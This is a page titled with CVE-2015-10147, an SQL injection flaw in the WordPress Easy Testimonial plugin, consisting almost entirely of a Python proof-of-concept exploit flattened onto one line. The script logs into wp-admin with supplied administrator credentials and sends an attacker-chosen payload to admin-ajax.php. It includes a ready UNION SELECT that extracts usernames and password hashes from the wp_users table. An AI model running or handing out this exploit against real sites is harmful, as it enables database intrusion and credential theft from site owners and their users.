CVE-2015-10147 WordPress Easy Testimonial插件SQL注入漏洞

import requests import sys # CVE-2015-10147 SQL Injection PoC # Target: WordPress Easy Testimonial Slider and Form plugin <= 1.0.2 # Authentication required: Administrator or higher def exploit_sql_injection(target_url, wp_username, wp_password, injection_payload): """ Exploit SQL injection vulnerability in Easy Testimonial plugin Args: target_url: Base URL of the vulnerable WordPress site wp_username: WordPress administrator username wp_password: WordPress administrator password injection_payload: SQL injection payload to execute Returns: Response content or error message """ # WordPress login endpoint login_url = f"{target_url}/wp-login.php" # Prepare login data login_data = { 'log': wp_username, 'pwd': wp_password, 'wp-submit': 'Log In', 'redirect_to': f"{target_url}/wp-admin/", 'testcookie': '1' } # Create session session = requests.Session() try: # Authenticate to WordPress login_response = session.post(login_url, data=login_data, timeout=10) if 'wordpress_logged_in' not in session.cookies.get_dict(): return "Authentication failed - check credentials" # Vulnerable endpoint - Easy Testimonial plugin vulnerable_url = f"{target_url}/wp-admin/admin-ajax.php" # Prepare malicious request with SQL injection payload exploit_data = { 'action': 'get_testimonial', 'id': injection_payload # Vulnerable parameter } # Send exploit request exploit_response = session.post(vulnerable_url, data=exploit_data, timeout=10) return exploit_response.text except requests.RequestException as e: return f"Request failed: {str(e)}" def extract_database_info(target_url, wp_username, wp_password): """ Extract database information using UNION-based SQL injection """ # Payload to extract WordPress users table union_payload = "1 UNION SELECT user_login,user_pass,3,4,5 FROM wp_users--" result = exploit_sql_injection(target_url, wp_username, wp_password, union_payload) return result if __name__ == "__main__": if len(sys.argv) < 5: print("Usage: python cve_2015_10147_poc.py <target_url> <username> <password> <payload>") print("Example: python cve_2015_10147_poc.py http://example.com admin password '1 UNION SELECT...'") sys.exit(1) target = sys.argv[1] username = sys.argv[2] password = sys.argv[3] payload = sys.argv[4] print(f"[*] Targeting: {target}") print(f"[*] Authenticating as: {username}") print(f"[*] Sending payload: {payload}") result = exploit_sql_injection(target, username, password, payload) print("\n[+] Result:") print(result)